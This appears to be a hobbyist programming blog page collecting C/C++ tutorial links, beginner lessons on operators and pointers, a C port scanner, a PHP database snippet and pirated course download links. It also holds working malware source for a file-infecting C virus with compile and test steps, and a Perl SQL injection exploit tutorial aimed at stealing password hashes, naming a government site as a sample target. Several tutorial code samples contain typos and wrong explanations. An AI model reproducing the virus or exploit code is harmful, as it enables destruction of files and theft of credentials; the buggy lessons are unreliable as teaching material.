Showing posts with label Programming. Show all posts
Showing posts with label Programming. Show all posts

Thursday, 28 April 2011

Tutorials [C,C++ coding]

Tutorials about C++
http://cplus.about.com/

C++ Annotations (moving from C to C++)
http://www.icce.rug.nl/documents/cplusplus/

DevCentral tutorials for C and C++
http://devcentral.iftech.com/learning/tutorials/

C++ tutorials for Windows 32, how to do without MFC, getting the compiler
to do the hard work of avoiding memory leaks, games, frequency analysis etc
http://www.relisoft.com/

... interactive guide to C++ ... written with Pascal users in mind
http://tqd.advanced.org/3074/

Coronado enterprises tutorials (formerly Gordon Dodrill's)
You can see sample chapters, but are charged for the full tutorials
http://www.coronadoenterprises.com/

Guru of the week - ie discussion papers on using C++
http://www.cntc.com/resources/gotw.html

Tutorials etc on Borland's CBuilder
http://www.richplum.co.uk/cbuilder/

Tutorial on the STL by Phil Ottewell.
http://www.yrl.co.uk/~phil/stl/stl.htmlx
http://www.pottsoft.com/home/stl/stl.htmlx
He has also got a tutorial on C for Fortran users
http://www.pottsoft.com/home/c_course/course.html

Notes for a university lecture course, but
maybe there is enough here for independent study.
http://m2tech.net/cppclass/

Note on pointers - perhaps more oriented towards C than C++.
http://www.cudenver.edu/~tgibson/tutorial/

Very simple C under DOS or MS-windows. Not much C++;
possibly useful to someone interested in programming
MS-windows without MFC etc.
http://www.cpp-programming.com

Weekly newsletter on C++ and other things: aimed at helping new
and intermediate programmers improve their coding skills.
http://www.cyberelectric.net.au/~collins

http://www.informit.com - a site run by Macmillan USA containing a lot
of information including the several well-known C++ books for
free download - if you are prepared to supply name and email address
http://www.informit.com/

C++ in 21 days - 2nd edition
http://newdata.box.sk/bx/c/

A variety of C++ books on line (Macmillian, Sams, Wiley, IDG etc)
You can see the tables of contents, but you will have to have a
subscription to read the books themselves after a free trial.
http://www.itknowledge.com/reference/dir...es.c1.html

Elementary introduction to C++ (mostly the C subset)
http://clio.mit.csu.edu.au/TTT/

How to use function-pointers in C and C++, callbacks, functors
http://www.function-pointer.org
http://www.newty.de/fpt/fpt.html

Short C++ tutorial, aimed at people who already have
experience with an object-oriented programming language
http://www.entish.org/realquickcpp/

Articles about Win32, C++, MFC articles using VC++ compiler.
http://www.codersource.net

Hope you enjoy

Port Scanner in C (with Translation of Functions)

.............................................................................................................

#include                                             //standard library function
#include                                      //for socket n networking functions
#include                                     //for socket function
#include                                      //for networking
#include                                          //for database......... not required........ here
#include                                            //stad library function hope u guys know abt this
#include

/* Main programs starts*/
int main(int argc, char **argv)                                   //argc
{
   int   sd;         //socket descriptor
   int    port;         //port number
   int   start;         //start port
   int    end;         //end port
   int    rval;         //socket descriptor for connect
   char    response[1024];      //to receive data
   char   *message="shell";       //data to send
   struct hostent *hostaddr;   //To be used for IPaddress
   struct sockaddr_in servaddr;   //socket structure

   if (argc < 4 )
   {
      printf("------Created By www.Softhardware.co.uk-----------\n");
      printf("--------------------------------------------------\n");
      printf("Usage: ./tscan \n");
      printf("--------------------------------------------------\n");
      return (EINVAL);
   }
   start = atoi(argv[2]);                                                           //Takes the starting port number to scan from
   end   = atoi(argv[3]);                                                          // FOr last port number that has to be scanned

   for (port=start; port<=end; port++)
   {

         //portno is ascii to int second argument

   sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); //created the tcp socket // PF_INET==family name AF_INET can also be used, SOCK_STREAM is how data bytes have to be sent, IPPRPTP_TCP== which protocol to follow, UDP or TCP

   if (sd == -1) // THis fucntion checks for the socket creation, if socket is created successful then continue else....                         print error
   {
     perror("Socket()\n");
     return (errno);
   }

   memset( &servaddr, 0, sizeof(servaddr));

   servaddr.sin_family = AF_INET;  //FAMILY NAME
   servaddr.sin_port = htons(port); //set the portno

   hostaddr = gethostbyname( argv[1] ); //get the ip 1st argument

   memcpy(&servaddr.sin_addr, hostaddr->h_addr, hostaddr->h_length);

   //below connects to the specified ip in hostaddr

   rval = connect(sd, (struct sockaddr *) &servaddr, sizeof(servaddr));
   if (rval == -1)
   {
   printf("Port %d is closed\n", port);
   close(sd);
   }
   else
   printf("Port %d is open\n",port);

   close(sd);         //socket descriptor
   }

}

[for unix platform]

C Tutorial Chapter 2


Hello friends i hope you read my previous tut on basics of C, if you haven’t than please first read it Smiley

In this tut we will learn about :

  • Instructions in C
  • Assignment Operators
  • Type Conversion
  • Operator Precedence in C
  • Data Types in Detail

So lets start Wink

In our previous C tut we had seen different types of constants, variables and keywords. Before discussing anything else let me first tell you about primary datatypes in C.
The Primary Datatypes in C are :
A.   int : it represents whole numbers within the range -32768 to +32767
B.   float : it represents real numbers within the range -3.4e38 to +3.4e38
C.   char : it represents all valid ASCII characters
2.1 Instructions in C

The next logical step is to learn how constants, keywords, variables and datatypes are combined to form instructions. There are basically four types of instructions in C.
2.1.1   Type Declaration Instruction2.1.2   Arithmetic Instruction2.1.3   Input/Output Instruction2.1.4   Control Instruction

Now in this chapter we will discuss only Type Declaration Instruction and Arithmetic Instruction as it is part of every C program. We will dealt with other two types in relevant chapters Wink
2.1.1 Type Declaration Instruction

This instruction is used to declare the type of variables used in C program. Any variables used in
the program must be declared before using it in any statement. The type declaration is usually written at the beginning of the program.

Examples :

int ivar ;      /* declares a variable ivar of type int */

float ah_rocks   /* declares a variable ah_rocks of type float */

char ah      /* declares a variable ah of type char */
2.1.2 Arithmetic Instructions

Arithmetic Instructions are combination of variables operators (described next) and constants.

Here is a simple program which covers both the instructions discussed above.

Code:
/ * A program explaining arithmetic instruction and type declaration instruction */

#include
#include
void main()
{
clrscr();
int x;   /* Variable Declaration */
float y; /* Variable Declaration */

x=20;  /*  Assigning a constant value of 20 to variable x using assignment operator ‘=’ */

y = x+3.14; /* Combination of variables, operators (=,+) and constants */

printf(“The Value obtained is : “);
printf(“%f”, y); /* Read Note */
 
getch();
} /* Program end */

Output is :

Quote
The Value obtained is : 23.14

Note :

%f :  is called as format specifier and it is used with pritnf() to display float values
%d : is used with printf() to display integer values
%c : is used to display character values
P.S : We will deal with format specifier in detail in coming chapters Smiley so don’t worry Wink

***************

2.2 Operators

Operators in C are classified into

Assignment Operator
Arithmetic Operator
Relational Operator
Logical Operator
2.2.1 Assignment Operator

The assignment operator is a single equal sign(=).
This operator is used to assign values to variables.

Example :

int x; /* declares a variable x of type int */
x=30 /*assigns a constant value of 30 to x */
2.2.2 Arithmetic Operators

Arithmetic operators are used in mathematical expressions (arithmetic instructions). Just as they are used in algebra.

The following table lists the arithmetic operators:

Sr. NoOperatorDescriptionType
1+AdditionUnary Binary
2-SubtractionUnary Binary
3*MultiplicationBinary
4/DivisionBinary
5%ModulusBinary
6++IncrementUnary
7--DecrementUnary
8+=Addition AssignmentBinary
9-=Subtraction AssignmentBinary
10*=Multiplication AssignmentBinary
11/=Division Assignment   Binary
12%=Modulus AssignmentBinary

Note :

   
a.) Unary operators are the operators which perform operations on one operand.
   
b.) Binary operators are the operators which perform operation on two operands.
   
c.) Ternary operators are the operators which perform operations on three operands.


2.2.2.1 The Basic Arithmetic Operators (+,-,/,*)

The Basic Arithmetic Operators (+,-,/,*) all behave as you would expect for all
Data types.

Code:
/* Program explaining basic arithmetic operators */

#include
#include
void main()
{
clrscr();
int x,y; /* multiple variable declaration */
int addresult,subresult,divresult,mulresult; /* multiple variable declaration */
x=100; /* assignment */
y=25; /* assignment */
addresult = x + y;
subresult = x-y;
mulresult = x* y;
divresult = x/y;

printf(“Addition Result : %d \n”,addresult); / * see we use %d to print integer so it means here where we wrote %d we want a integer and to tell compiler which result we want at the place of %d we write the int we already declared here in this case addresult */
printf(“Subtraction Result %d \n”,subresult);
printf(“Multiplication Result %d \n”,muresult);
pritnf(“Division Result %d \n”,divresult);
getch();
}

Output :

Quote
Addition Result : 125
Subtraction Result : 75
Multiplication Result : 2500
Division Result : 4

Note : ‘\n’ is called an escape sequence and it is generally used to add a line after displaying.
2.2.2.1 The Modulus Operator (%)

The operator returns remainder of the division operation.
It can only be applied to integer data type.

Code:
/* program showing the use of modulus operator */

#include
#include
void main()
{
clrscr();
int x,y,mod_result;
x=42;
y=10;
mod_result=x%y;
printf(“The result of modulus operation is %d”, mod_result);
getch();
}

Output :

Quote
The result of modulus operation is 2

2.2.2.3 Arithmetic Assignment Operators (+=, -=, /=, %=)

C provides special operators that can be used to combine an arithmetic operation with an assignment operator. Consider a statement x=x+4, now the same statement can be written as x+=4. Both of them adds 4 to the variable x.

Example :

A-=1           /* same as a=a-1 */
y*=4           /* same as y=y*4 */
z%=10   /* same as z=z%10 */

Code:
/* program explaining arithmetic assignment operators */

#include
#include
void main()
{
clrscr();
int a,s,m,d,mod;
a=10;
s=20;
m=30;
d=40;
mod=55;
a+=10;
s-=5;
m*=3;
d/=10;
mod%=10;
printf(“Value of a=a+10 is %d \n”,a);
printf(“Value of s=s-5 is %d \n”,s);
printf(“Value of m=m*3 is %d \n”,m);
printf(“Value of d=d/10 is %d \n”,d);
printf(“Value of mod=mod%10 is %d \n”,mod);
getch();
}

Output :

Quote
Value of a=a+10 is 20
Value of s=s-5 is 15
Value of m=m*3 is 90
Value of d=d/10 is 4
Value of mod=mod%10 is 5

Note : The Arithmetic assignment operators not only save you a bit of typing but also it is implemented more efficiently.
2.2.2.4 Increment and Decrement Operators

The ++ amd – are the increment and decrement operators of C. The increment operator increases its operand by
one and only one and the decrement operator decreases its operand by one and only one.

In the prefix form, the operand is incremented (or decremented) before the value is obtained for the use in the expression. In the postfix form, the previous value is obtained for the use in the expression and the operand is modified.

Example :

x=43;
y=++x;

In this case y is set to 43, because the increment occurs
before x is assigned to y.
Thus y=++x is equivalent to
x=x+1
y=x;

However, when written like this,
x=42;
y=x++;

The value of x is obtained before the increment operator is executed, so the value of y is
42.
In this case y=x++ is equivalent to

y=x;
x=x+1

Code:
/* program demonstrating the increment operator */

#include
#include
void main()
{
clrscr();
int a=1;
printf(“a=%d \n”,a);
printf(“a=%d \n”,a++);
printf(“a=%d \n”,++a);
printf(“a=%d \n”,++a);
printf(“a=%d \n”,a++);
printf(“a=%d \n”,a);
getch();
}

Output :

Quote
a=1
a=1
a=3
a=4
a=4
a=5

Note : The decrement operator works in the same manner.

***************


This is not the full chapter 2 i am lil busy will post the rest part in 1-2 days Smiley

please give your suggestions and try to correct me if i am somewhere wrong Smiley

Thanks

Port Scanner in C (with Translation of Functions)


#include                                             //standard library function
#include                                      //for socket n networking functions
#include                                     //for socket function
#include                                      //for networking
#include                                          //for database......... not required........ here
#include                                            //stad library function hope u guys know abt this
#include

/* Main programs starts*/
int main(int argc, char **argv)                                   //argc
{
   int   sd;         //socket descriptor
   int    port;         //port number
   int   start;         //start port
   int    end;         //end port
   int    rval;         //socket descriptor for connect
   char    response[1024];      //to receive data
   char   *message="shell";       //data to send
   struct hostent *hostaddr;   //To be used for IPaddress
   struct sockaddr_in servaddr;   //socket structure

   if (argc < 4 )
   {
      printf("------Created By www.Softhardware.co.uk-----------\n");
      printf("--------------------------------------------------\n");
      printf("Usage: ./tscan \n");
      printf("--------------------------------------------------\n");
      return (EINVAL);
   }
   start = atoi(argv[2]);                                                           //Takes the starting port number to scan from
   end   = atoi(argv[3]);                                                          // FOr last port number that has to be scanned

   for (port=start; port<=end; port++)
   {

         //portno is ascii to int second argument

   sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); //created the tcp socket // PF_INET==family name AF_INET can also be used, SOCK_STREAM is how data bytes have to be sent, IPPRPTP_TCP== which protocol to follow, UDP or TCP

   if (sd == -1) // THis fucntion checks for the socket creation, if socket is created successful then continue else....                         print error
   {
     perror("Socket()\n");
     return (errno);
   }

   memset( &servaddr, 0, sizeof(servaddr));

   servaddr.sin_family = AF_INET;  //FAMILY NAME
   servaddr.sin_port = htons(port); //set the portno

   hostaddr = gethostbyname( argv[1] ); //get the ip 1st argument

   memcpy(&servaddr.sin_addr, hostaddr->h_addr, hostaddr->h_length);

   //below connects to the specified ip in hostaddr

   rval = connect(sd, (struct sockaddr *) &servaddr, sizeof(servaddr));
   if (rval == -1)
   {
   printf("Port %d is closed\n", port);
   close(sd);
   }
   else
   printf("Port %d is open\n",port);

   close(sd);         //socket descriptor
   }

}

[for unix platform]

........................................................

Pointers in C


Pointer variable is a variable that holds the memory address of a some other variable.

int var = 10;


Here we have a variable "var" whose data type is of integer and the value it holds is 10. It means whenever we will use "var" in our program then we are using 10. This "var" is for human convince. An electronic machine understands only 0 & 1, means binary. So, whenever computer will look for "var" it will look for its corresponding address in memory and it is a number. Pointer is way to play with that memory address because it points to that memory address.

& and * are two operators used in pointer operations.

& means "address of"

Till now you have used it many times.

Code:
int main (void) {

int var;
printf("Input an interger -> ");
scanf("%d",&var);
printf("Value of interger -> %d\n",var);

return 0;

}
Here in statement scanf("%d",&var); scanf() will take the input from command line and it will store that value at the address of "var".
Suppose starting memory address of var is 0xbfd025f0. After input it will store the value supplied by user in memory block which starts from 0xbfd025f0

* means "pointer"

int *varPtr;
*varPtr means this variable is going to hold address of some variable. How ? See next line.
varPtr = &var;

When unary operator (&) is associated with a variable then it give the address of that variable. In above statement the address of variable "var" is assigned to the pointer variable "varPtr". That means now value held by varPtr is 0xbfd025f0, which we supposed above.

varPtr                                var                                    Variable Name  
 ++++++++++++++      ++++++++++++++
+   0xbfd025f0     +      +       10              +            Value Held
++++++++++++++      ++++++++++++++
 0xa0302cd0                0xbfd025f0                        Memory Address of Variable

varPtr is also a variable so, it too has a memory address. When an unary operator (*) is associated with variable "varPtr" like *varPtr, it means now it is pointing to the value which held by varPtr (0xbfd025f0), ultimately which a memory address.

It is like friend of a friend. You have some work with a person A and yon have no direct contact with him. But that person A is friend of one of your friend Z. Now what you are going to do, you are going to call your friend Z and from there you will get contact of A.

Code:
int main (void) {

int var = 10;
int *varPtr;
varPtr = &var;   // assign the memory address of var to varPtr

printf("Value of var -> %d\n",var);
printf("Value of var -> %d\n",*varPtr);

return 0;

}

OUTPUT
Value of var -> 10
Value of var -> 10

Both printf() will give you 10 as output. In 1st printf() we are directly printing the value of "var" and in 2nd printf() we are doing it indirectly, means by using pointer.

I hope now a beginner has some idea of pointers. Same way functions too have memory address and using that memory address we can call them.
void fun (void)  {

--------do something--------
}

fun() occupy some memory block and &fun will give you the starting value of that memory block.

+++++++++++++++++++++++++++++++Sample Program+++++++++++++++++++++++++++++++
#include

void msg (void) {
   printf("Inside msg function\n");
}

int calSum(int x, int y) {

   printf("Value of x -> %d\n",x);
   printf("Value of y -> %d\n",y);

   return (x+y);

}

int main (void) {

   int var, sum;
   var = 10;

   int *varPtr;         //varPrt is pointer to integer variable
   void (*msgPtr)(void);   //msgPtr is pointer to a function whose return type is  void [ void msg (void ) ] and arguments passed are void [ void msg (void) ]
   int (*sumPtr)(int,int);  //sumPtr is pointer to a function whose return type is integer [ int calSum (int ,int) ]and two integer arguments passed [ int calSum (int, int) ]

   varPtr = &var;         // assigne address of var to varPtr
   msgPtr = &msg;         // assigne address of msg to msgPtr
   sumPtr = &calSum;         // assigne address of calSum to sumPtr

   printf("Value of var -> %d\n".*varPtr);      // print value of var using pointer

   (*msg)();         // calling funtion msg() using pointer

   sum = (*sumPtr)(5,4);      // calling function calSum(int,int) using pointer and storing return value in variable sum

   printf("Sum of two numbers -> %d\n",sum);   //print value of sum

   return 0;
}
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
OUTPUT
Value of var -> 10
Inside msg function
Value of x -> 4
Value of y -> 5
Sum of two numbers -> 9

P.S.
For beginner i tired to explain it in most simple and layman language. I took example of only integer data type for simplicity and tried to explain pointer to function also because i felt that for a beginner it better to understand them from starting. And this not the end of pointers.

How to Create a Computer Virus in C? -Step wise Explaination

..............................................................................................................................
This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY

Using Turbo C++ (FullScreen) in Vista and Win7

This trick is for all those who want to run turbo c++ in vista and win 7...

but are not using because of normal screen mode.








.........................................................................................................................

Download Total Training – CSS & XHTML for Web Development

Download Total Training – CSS & XHTML for Web Development | 568 MB | 8 hrs

With Total Training for CSS & XHTML Web Development you’ll learn the process of building a structure for your web pages and then styling those web pages so that they look polished and professional, in the style and design you format. Cascading Style Sheets (CSS) is a versatile
scripting language that allows designers great flexibility in terms of the visual appearance for a site they wish to create and affords them the means to change that appearance without having to recode web pages. This flexibility and the best practices you’ll learn during the design process can turn an average web designer into a top notch designer, which will help you build your portfolio and client list.


Course Outline:

Chapter 1: INTRODUCTION TO BUILDING A WEB PAGE (56 min)

1. What is HTML?
2. Setting Up the Text Editor to Create XHTML
3. Creating Your First HTML File
4. Adding Formatting Tags & Previewing in a Browser
5. Getting Started with Cascading Style Sheets
6. How Pages are Served Up
7. Choosing an Editor
8. Project Management

Chapter 2: CREATING HTML DOCUMENTS (63 min)

1. Understanding Tags, Elements & Attributes
2. Defining the Basic Structure with HTML, HEAD & BODY
3. Assigning a Title & Using Paragraphs
4. Using Heading Tags & Whitespace
5. Creating Unordered & Ordered Lists
6. Fine-tuning Tags with Attributes
7. Adding Bold & Italics
8. Understanding How a Browser Reads HTML
9. Doc Types & Browsers

Chapter 3: INTRODUCTION TO CSS (72 min)

1. What is CSS?
2. Internal Style Sheets, Selectors, Properties & Values
3. Building & Applying Class Selectors
4. Grouping Selectors
5. Creating Comments in Your Code
6. Using Div Tags & IDs to Format Layout
7. Understanding the Cascade & Avoiding Conflicts

Chapter 4: ADDING IMAGES (43 min)

1. Image Formats & Production Considerations
2. Optimizing Images for the Web
3. Introducing the IMG Tag
4. Relative vs. Absolute URLs
5. Fine-Tuning with Alt, Width & Height Attributes

Chapter 5: ANCHORS & HYPERLINKS (50 min)

1. Creating Hyperlinks to Outside Websites
2. Creating Hyperlinks Between Documents
3. Linking to Email Addresses
4. Linking to a Specific Part of a Webpage
5. Linking Images

Chapter 6: MORE CSS TECHNIQUES (35 min)

1. Managing CSS with External Style Sheets
2. Setting Hyperlinks with Pseudo-Classes
3. The CSS Box Model: Padding, Borders & Margins
4. Styling Unordered & Ordered Lists with CSS
5. Overriding the Inheritance of Attributes

Chapter 7: ORGANIZING INFORMATION WITH TABLES & DEFINITION LISTS (46 min)

1. Creating Tables & Table Attributes
2. Adding & Formatting Rows & Columns
3. Spanning Rows & Columns
4. Increasing Table Accessibility
5. Using Definition Lists to Organize Definition-Based Data
6. Using HTML Comments

Chapter 8: CREATING LAYOUTS (61 min)

1. Adding a Side Content Div to Your Layout
2. Applying Absolute Positioning
3. Applying Relative Positioning
4. Using the Float & Clear Properties
5. Understanding Overflow
6. Creating Auto-Centering Content
7. Using Fixed Positioning

Chapter 9: INTRODUCTION TO ADOBE¨ DREAMWEAVER¨ (39 min)

1. Getting Started with Dreamweaver & Setting Preferences
2. Creating a Local Site & Importing Files
3. Working in the Code, Design, & Split Views
4. Configuring FTP Options & Publishing Through Synchronization
5. Validating Your Code

Chapter 10: WORKING WITH DREAMWEAVER (21 min)

1. Editing Style Sheets in the CSS Panel
2. Creating Description & Keyword Meta Tags
3. Using Dreamweaver to Preview in a Web Browser
4. Credits

Download from Hotfile
http://hotfile.com/dl/33673770/3e4b9c4/TT-CSS.XHTML.for.Web.Development.part1.rar.html
http://hotfile.com/dl/33673775/9c73fec/TT-
CSS.XHTML.for.Web.Development.part2.rar.html
http://hotfile.com/dl/33673787/cc80aff/TT-
CSS.XHTML.for.Web.Development.part3.rar.html
http://hotfile.com/dl/33673799/b1811cd/TT-CSS.XHTML.for.Web.Development.part4.rar.html

Uploading
http://uploading.com/files/5d827baa/TT-
CSS.XHTML.for.Web.Development.part4.rar/
http://uploading.com/files/5m92c13f/TT-
CSS.XHTML.for.Web.Development.part3.rar/
http://uploading.com/files/dd93d22m/TT-
CSS.XHTML.for.Web.Development.part2.rar/
http://uploading.com/files/29f5eb62/TT-
CSS.XHTML.for.Web.Development.part1.rar/

Connecting to a database with php

Connecting to a database with php I wrote a very well commented php script showing you how to connect to a database, this is for learning not using, im just giving you and example to run off of. The best way to use this example in a way that you can understand would be to get a free web host that supports php and gives you a certain number of databases. agilityhoster.com is a really good host.
           
First youll need to get your server information:
it will be something like sql.yourhost.com

Second make a database, if you don't know how to do this, use one of their auto installing scripts like wordpress

Third have a username and password for you sql database, usually be something like:
databasename_yourusername
cpanel password

next save this script editing with your information as sql.php then run it and see what it does, you can expand this to print results of all tables and columns in your database.

Well I hope someone learns something from this.


//Guide showing how to get info from a database and print results in html format

//It is all done in three very simple steps:
//1. Connect to the server
//2. Select database name
//3. Making a simple query


//NOTE: This is just an example to show you how to do this, if you don't have relevant
//information you will not be able to connect to a database you need to know
//the server name, database name, all tables and columns you want to extract, if you do
//not know this information please dont post saying how do i get it to work.


//database to connect to
mysql_conncet("server.com", "username", "password");

//select your database
mysql_select_db("db_name")

//defines query and adds results into a variable
$result = mysql_query("select userid, username, password from admin");

//now you have stored the query results into the variable $results
//now we'll loop the results and print into html


while($row = mysql_fetch_row($result))
{
//the dot concatenates strings in php
echo "User ID: " . $row[0] . "
";
echo "Username: " . $row[1] . "
";
echo "Password: " . $row[2] . "
";
}


//coded by adnan
?
>

Writing SQL Injection exploits in Perl

[1] Introduction
[2] Little panning of Perl language used into an internet context
[3] Perl SQL Injection by examples
[4] Gr33tz to all new and former visitors and …





—+— StArT
[1] Introduction
Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot
of operation across the internet just writing a litlle bit of code. So i decided to write a similar guide to make an
easiest life to everyone who decide to start writing a perl exploit.
There are few requisites u need to proceed:
- U must know the basics operation of perl (print, chomp, while, die, if, etc etc…);
- U must know what kind of SQL code u need to inject to obtain a specific thing (stealing pwd, add new admin, etc etc…).
Now, we are ready to start…
[2] Little panning of Perl language used into an internet context
Using a Perl code into an internet context means that u should be able to make a sort of dialog between your script and the
server side (or other..). To make this u need to use some “Perl modules”.
Those modules must be put on the head of the script. In this tut we are going to use only the “IO::Socket” module, but
there are thousand and if u are curious just search on cpan to retrieve info on every module.
[-] Using the IO::Socket module
Using this module is quite simple. To make the Perl Interpreter able to use this module u must write on the starting
of the script “use IO::Socket”. With this module u’ll be able to connect to every server defined previously, using
a chomp, look at the example.
Example:
print “Insert the host to connect: “;
chomp ($host=);
Now suppose that the host inserted is www.host.com. We must declare to the interpreter that we want to connect to this
host. To do this, we must create a new sock that will be used by the interpreter to connect.
To create this we are going to write something like this:
$sock = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″)
or die ” ]+[ Connecting ... Can't connect to host.nn";
In this piece of code we have declared that the interpreter must use the "IO::Socket" module, creating a new
connection, through the TCP protocol, using the port 80 and direct to the host specified in the chomp
($host=www.fbi.gov).
If connection is not possible an error message will appear ("Connecting ... Can't connect to host").
Resume:
- Proto=>TCP -------> The protocol to use (TCP/UDP)
- PeerAddr=> -------> The server/host to connect
- PeerPort=> -------> Port to use for the connection
Ok, now let's go to the next step, which is the real hearth of this tut.
[3] Perl SQL Injection
Assuming that we know what kind of SQL statement must inject, now we are going to see how to do this.
The SQL code must be treaty like a normal variable (like “$injection”).
Example:
$injection=index.php/forum?=[SQL_CODE]
This string means that we are going to inject the query into “index.php/forum” path, following the correct syntax that
will bring us to cause a SQL Injection “?=”.
Now we must create a piece of code that will go to inject this query into the host vuln.
print $sock “GET $injection HTTP/1.1n”;
print $sock “Accept: */*n”;
print $sock “User-Agent: Hackern”;
print $sock “Host: $hostn”;
print $sock “Connection: closenn”;
This piece of code is the most important one into the building of an exploit.
It can be considered the “validation” of the connection.
In this case the “print” command doesn’t show anything on screen, but it creates a dialogue and sends commands to the host.
In the first line the script will send a “GET” to the selected page defined into “$injection”.
In the third line it tells to the host “who/what” is making the request of “GET”. In this case this is Hacker, but it
can be “Mozilla/5.0 Firefox/1.0.4″ or other.
In the fourth line it defines the host to connect to, “$host”.
With the execution of this script we have made our injection.
Resume of the exploit:
use IO::Socket
print “Insert the host to connect: “;
chomp ($host=);
$sock = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″)
or die ” ]+[ Connecting ... Can't connect to host.nn";
$injection=index.php/forum?=[SQL_CODE]
print $sock “GET $injection HTTP/1.1n”;
print $sock “Accept: */*n”;
print $sock “User-Agent: Hackern”;
print $sock “Host: $hostn”;
print $sock “Connection: closenn”;
close ($sock); #this line terminates the connection
A little trick:
Assuming that, with the execution of SQL Inj, u want to retrieve a MD5 Hash PWD, u must be able to recognize it.
Additionally, u want that your script will show the PWD on your screen.
Well, to make this, the next piece of code, could be one of the possible solutions.
while($answer = <$sock>) {
if ($answer =~ /([0-9a-f]{32})/) {
print “]+[ Found! The hash is: $1n”;
exit(); }
This string means that if the answer of the host will show a “word” made by 32 characters (”0″ to “9″ and “a” to “f”),
this word must be considered the MD5 Hash PWD and it must be showed on screen.
Conclusions:
The method showed in this tut is only one of the 10000 existing, but, for me, this is the most complete one.
U could use also the module “LWP::Simple” in the place of “IO::Socket”, but u should change something into the code.
This method can be used also, not only for SQL Injection, but, for example, remote file upload or other.

C++ Projects

C++ Instructions
C++ works by giving (separate) instructions to the computer. These instructions can be treated as assignments. On this site, such an assignment will be called a function. The primary function used in C++ is called main. To distinguish a function from the other types of things you will be using in your programs, a function's name is followed by an opening and a closing parentheses. For example, the main function will always be written at least as main(). When we perform a better study of functions, we will learn more about functions, their parentheses, and other related issues.

When a program is written and you ask the computer to "execute" it, the first thing to look for is the main() function. This means that every C++ program should have the main() function. Because a function is an assignment, in order to perform its job, a function has a body; this is where the behavior (assignment) of the function would be "described". The body of a function starts with an opening curly bracket "{" and closes with a closing curly bracket "}". Everything in between belongs to, or is part of, the function. Therefore, the main() function can be written as:

main() {}

As we learned that we should (must) always include the libraries that we would need, our program now would include main(). Whenever you create a program, it is important to isolate any inclusion of a library on its own line. Here is an example:

#include
using namespace std;
main(){}

C++ is the computer language we are going to study to write programs. C++ is a very universal language, it can be used to write programs for Linux, MS Windows, Macintosh, BeOS, Unix, etc. C++ is very powerful and can be used to create other compilers or languages, it can also be used to write an operating system. This means that you can use C++ to create/write your own computer language. You can also use C++ to create/write your own compiler; this means that, using C++, you can create your own implementation of C++, Pascal, Basic, Perl, or any other existing or non-existing language.

There are many products you can use to create a program in C++. Before a program is made available, it is called a project because you are working on it. Although in the beginning you will usually be working alone, most programs involve a lot of people. That is why during the development of a program or software product, it is called a project. Each one of the available environments provides its own technique(s) of creating a C++ program or working on a C++ project. Therefore, the person who, or the company that, made the environment available to you must tell you how to use that environment (it is neither your responsibility, nor the C++ Standard’s job to tell you how to create a program or how to start a project). I will try to cover those that I know.

The programs we will be creating on this site are called console applications. They can also be called Bash programs (especially on Unix/Linux). The technique you follow to create a project depends on the environment you are using.

Executing a Program
To see what your program does, you need to realize that the lines we have typed are English language instructions asking C++ to perform the main() function. Unfortunately, the computer doesn't understand what all of this means (to a certain extent). The computer has its own language known as the machine language. So, we need to translate it in a language the computer can understand. A program was created to that effect and supplied to you with C++. This is what we call a compiler.
In the past, a program used to be created from various parts all over the computer, some of the techniques are still used to "debug" a program to isolate problems or "bugs". Since this is a small program, we will just ask the computer to "execute" it and see the result. Throughout this site, the words (or verbs) "execute" and "run" will be used interchangeably to mean the same thing.
The C++ language doesn't define how to create a project. When you buy or acquire a c++ compiler, its documentation should tell you how to create and execute a project. We describe here how how to create a project in most familiar environments. If you have an environment or compiler that is not in our list, consult its documentation to know how to use it.

One of our most valuable goals in writing a site is to avoid including in a program an issue that has not previously been addressed or explained. This site is written as a (general) reference towards the C++ language. To learn C++, you need a C++ compiler, and we describe how to create a C++ project with some of the most commonly used compilers or programming environments. As it happens, and as you may have noticed, different companies (and different individuals for that matter) choose to implement a language as they see fit.
